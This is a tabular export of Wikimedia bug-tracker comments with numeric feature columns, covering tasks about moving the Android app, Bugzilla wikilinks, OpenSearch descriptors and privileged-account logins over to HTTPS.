151747,Android app should support (or always?) use HTTPS,"It hasn't, but I think since the site now supports it we could do this now.",,,1323998944,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_subcomment,,True,c2,1,True,,,-89,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,16.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,5.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1578947368421053,0.9473684210526315,"It hasn't, but I think since the site now supports it we could do this now."
151743,Android app should support (or always?) use HTTPS,"**philinje** wrote:

I believe this has been fixed.",,,1323997468,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_subcomment,,True,c2,1,False,,,-89,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8,"**philinje** wrote:

I believe this has been fixed."
33328,Wikilinks in bugzilla should generate links to https version of wiki pages as bugzilla is using https now,"and I'm not sure about revision links: r1. Let me test it here.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1317657900,1317663875.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-zoyczstfeakusnnvjb7k,task_description,resolved,True,c2,1,False,False,True,-100,True,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.5142857142857142,0.6857142857142857,"and I'm not sure about revision links: r1. Let me test it here.

--------------------------
**Version**: unspecified
**Severity**: normal"
149775,Wikilinks in bugzilla should generate links to https version of wiki pages as bugzilla is using https now,"

*** This bug has been marked as a duplicate of bug 30560 ***",,,1317663875,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-zoyczstfeakusnnvjb7k,task_subcomment,,True,c2,1,True,,,-100,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 30560 ***"
149772,Wikilinks in bugzilla should generate links to https version of wiki pages as bugzilla is using https now,Well revision links should use HTTPS as well.,,,1317657966,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-zoyczstfeakusnnvjb7k,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,Well revision links should use HTTPS as well.
33325,OpenSearch is not using https in its content even it's being accessed via https,"https://en.wikipedia.org/w/opensearch_desc.php is full of ""http://en.wikipedia.org/""

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1317652320,1440146812.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-TASK-4wc3qxb3u4xcfkajbdsw,task_description,resolved,True,c2,1,False,False,False,-100,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.5833333333333334,"URL is full of ""URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
512191,OpenSearch is not using https in its content even it's being accessed via https,This was resolved when the canonical URLs on all pages point to HTTPS. T53002,,,1440146812,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-4wc3qxb3u4xcfkajbdsw,task_subcomment,,True,c2,3,True,,,103,True,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,27.0,7.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.266666666666667,1.0,This was resolved when the canonical URLs on all pages point to HTTPS. T53002
149582,OpenSearch is not using https in its content even it's being accessed via https,"It's not solely a Firefox problem (though I appreciate that Mozilla will fix this issure in future versions). I tested this in Internet Explorer 11, with the same result.

Since August 2013, https is the standard protocol at least for registered users. We should offer non-registered users the same convenience. Isn't it possible to use protocol-relative URLs in opensearch_desc.php?",,,1412216091,,PHID-USER-osmil63aj7nyoejxxhiv,False,,,PHID-TASK-4wc3qxb3u4xcfkajbdsw,task_subcomment,,True,c2,3,False,,,57,True,0.0,0.0,0.0,0.0,3.0,16.0,1.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,13.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,16.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,7.0,13.0,7.0,1.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.346666666666667,0.8,"It's not solely a Firefox problem (though I appreciate that Mozilla will fix this issure in future versions). I tested this in Internet Explorer 11, with the same result.

Since August 2013, https is the standard protocol at least for registered users. We should offer non-registered users the same convenience. Isn't it possible to use protocol-relative URLs in opensearch_desc.php?"
149577,OpenSearch is not using https in its content even it's being accessed via https,"(In reply to Roan Kattouw from comment #2)
> liangent RoanKattouw: Bug 31325 - what if I want to access https pages from
> my firefox search box?

Related hint: Firefox' search bar will switch to using HTTPS for Wikipedia in Firefox 34: https://bugzilla.mozilla.org/show_bug.cgi?id=758857",,,1412156135,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4wc3qxb3u4xcfkajbdsw,task_subcomment,,True,c2,3,True,,,57,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,17.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6285714285714286,0.8571428571428571,"(In reply to Roan Kattouw from comment #2)
QUOTE
QUOTE

Related hint: Firefox' search bar will switch to using HTTPS for Wikipedia in Firefox 34: URL"
149572,OpenSearch is not using https in its content even it's being accessed via https,"liangent	RoanKattouw: Bug 31325 - what if I want to access https pages from my firefox search box?
RoanKattouw	Hmm, right
RoanKattouw	That is a valid feature request, yeah
RoanKattouw	reopens bug",,,1317655585,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4wc3qxb3u4xcfkajbdsw,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,19.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,5.0,7.0,12.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9767441860465116,0.7906976744186046,"liangent	RoanKattouw: Bug 31325 - what if I want to access https pages from my firefox search box?
RoanKattouw	Hmm, right
RoanKattouw	That is a valid feature request, yeah
RoanKattouw	reopens bug"
149564,OpenSearch is not using https in its content even it's being accessed via https,"This is on purpose. opensearch_desc.php returns so-called canonical URLs, and on the Wikimedia cluster those are http URLs.",,,1317653295,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4wc3qxb3u4xcfkajbdsw,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,17.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.608695652173913,0.8695652173913043,"This is on purpose. opensearch_desc.php returns so-called canonical URLs, and on the Wikimedia cluster those are http URLs."
33323,Mandate only-SSL for accounts with access to private information,"Making it an option for users is nice, but for users with sysop, checkuser, oversight and researchers (for enwiki; other wikis configurations my vary) SSL access should not be an option, but the only way to access the servers.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=39380
https://bugzilla.wikimedia.org/show_bug.cgi?id=47832
https://bugzilla.wikimedia.org/show_bug.cgi?id=29898",Medium,50.0,1317645180,1440147353.0,PHID-USER-p5svl2m3pqm6jjgznnhz,False,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-TASK-oqffx6o3iwadtddsapew,task_description,resolved,True,c2,1,False,False,False,-100,True,0.0,0.0,0.0,0.0,1.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,6.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.670886075949367,0.6075949367088608,"Making it an option for users is nice, but for users with sysop, checkuser, oversight and researchers (for enwiki; other wikis configurations my vary) SSL access should not be an option, but the only way to access the servers.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL
URL"
512195,Mandate only-SSL for accounts with access to private information,Resolved since HTTPS has been enforced for everyone.,,,1440147353,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,3,True,,,103,True,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Resolved since HTTPS has been enforced for everyone.
149496,Mandate only-SSL for accounts with access to private information,"(In reply to comment #9)
> All HTTP cookies have a ""Secure"" attribute that determines whether the
> browser
> will send them over HTTP or not. So, in other words, the actual protocol
> under
> which the cookie was sent is irrelevant, it's the Secure flag on the cookie
> that matters.
> 
> When you log in using HTTPS in MediaWiki, almost every cookie is set to
> Secure
> so that it only goes over HTTPS. However, if you look in User::setCookies,
> you'll see that the forceHTTPS cookie is explicitly set without the Secure
> attribute so that it'll be visible regardless of protocol.

That's a crystal clear explanation, thank you!",,,1359744054,,PHID-USER-irahijhmu2pqmwuewejz,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,33.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,2.0,5.0,23.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.116279069767442,0.4883720930232558,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's a crystal clear explanation, thank you!"
149491,Mandate only-SSL for accounts with access to private information,"All HTTP cookies have a ""Secure"" attribute that determines whether the browser will send them over HTTP or not. So, in other words, the actual protocol under which the cookie was sent is irrelevant, it's the Secure flag on the cookie that matters.

When you log in using HTTPS in MediaWiki, almost every cookie is set to Secure so that it only goes over HTTPS. However, if you look in User::setCookies, you'll see that the forceHTTPS cookie is explicitly set without the Secure attribute so that it'll be visible regardless of protocol.",,,1359743335,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-30,True,1.5,0.0,0.0,2.5,0.5,3.0,1.5,0.0,0.0,1.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,14.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,0.0,2.5,0.0,7.0,1.5,2.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,1.0,1.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,4.0,10.0,6.5,0.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,5.0,14.5,5.5,0.0,1.0,0.0,5.0,0.0,2.0,0.5,0.5,1.0,0.0,0.0,0.0,4.12962962962963,0.7314814814814815,"All HTTP cookies have a ""Secure"" attribute that determines whether the browser will send them over HTTP or not. So, in other words, the actual protocol under which the cookie was sent is irrelevant, it's the Secure flag on the cookie that matters.

When you log in using HTTPS in MediaWiki, almost every cookie is set to Secure so that it only goes over HTTPS. However, if you look in User::setCookies, you'll see that the forceHTTPS cookie is explicitly set without the Secure attribute so that it'll be visible regardless of protocol."
149484,Mandate only-SSL for accounts with access to private information,"Please forgive me for my ignorance, but doesn't having a cookie at all sent in HTTP mode mean that the user has logged in at least once *not* using HTTPS? Isn't it already too late to redirect him to HTTPS?",,,1359741909,,PHID-USER-irahijhmu2pqmwuewejz,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-30,True,2.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,19.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,11.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,9.0,17.0,6.0,4.0,0.0,0.0,9.0,0.0,0.0,2.0,4.0,4.0,0.0,2.0,0.0,3.5531914893617023,0.851063829787234,"Please forgive me for my ignorance, but doesn't having a cookie at all sent in HTTP mode mean that the user has logged in at least once *not* using HTTPS? Isn't it already too late to redirect him to HTTPS?"
149478,Mandate only-SSL for accounts with access to private information,https://gerrit.wikimedia.org/r/47089,,,1359741252,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
149467,Mandate only-SSL for accounts with access to private information,"(In reply to comment #5)
> And now that all that code is in place, I think it should be trivial in the
> login to say if a user is a member of a particular group, force stickHTTPS to
> true.

What about global groups? Ombudsmen, Staff, founder, steward and sysadmin all give access to private information.",,,1359739120,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,True,,,-30,True,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,11.0,8.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.8055555555555556,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

What about global groups? Ombudsmen, Staff, founder, steward and sysadmin all give access to private information."
149459,Mandate only-SSL for accounts with access to private information,"And now that all that code is in place, I think it should be trivial in the login to say if a user is a member of a particular group, force stickHTTPS to true.",,,1359738539,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,True,,,-30,True,3.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,8.0,5.0,5.0,3.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,19.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.4054054054054053,0.8108108108108109,"And now that all that code is in place, I think it should be trivial in the login to say if a user is a member of a particular group, force stickHTTPS to true."
149454,Mandate only-SSL for accounts with access to private information,"FYI, here's the bug for secure login for all users: https://bugzilla.wikimedia.org/show_bug.cgi?id=39380",,,1359738125,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-30,True,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2142857142857144,0.9285714285714286,"FYI, here's the bug for secure login for all users: URL"
149447,Mandate only-SSL for accounts with access to private information,"Sorry, to clarify I meant persistent HTTPS for all activity from the account, not just log-ins. But I agree with Brion's comment that the best case would be to require HTTPS for the log-in process for all accounts, at the very least.",,,1317661965,,PHID-USER-p5svl2m3pqm6jjgznnhz,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-100,True,4.0,0.0,2.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,19.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,13.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,4.0,19.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.6923076923076925,0.7307692307692307,"Sorry, to clarify I meant persistent HTTPS for all activity from the account, not just log-ins. But I agree with Brion's comment that the best case would be to require HTTPS for the log-in process for all accounts, at the very least."
149441,Mandate only-SSL for accounts with access to private information,"(In reply to comment #1)
> If we can require SSL for some logins, it would be irresponsible not to require
> SSL for *all* logins.

What about requiring HTTPS for all logins, and HTTPS for all further pages of special users?",,,1317658792,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,False,,,-100,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5806451612903225,0.8387096774193549,"(In reply to comment #1)
QUOTE
QUOTE

What about requiring HTTPS for all logins, and HTTPS for all further pages of special users?"
149434,Mandate only-SSL for accounts with access to private information,"If we can require SSL for some logins, it would be irresponsible not to require SSL for *all* logins.",,,1317658435,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-oqffx6o3iwadtddsapew,task_subcomment,,True,c2,1,True,,,-100,True,9.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,9.0,17.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.608695652173913,0.782608695652174,"If we can require SSL for some logins, it would be irresponsible not to require SSL for *all* logins."
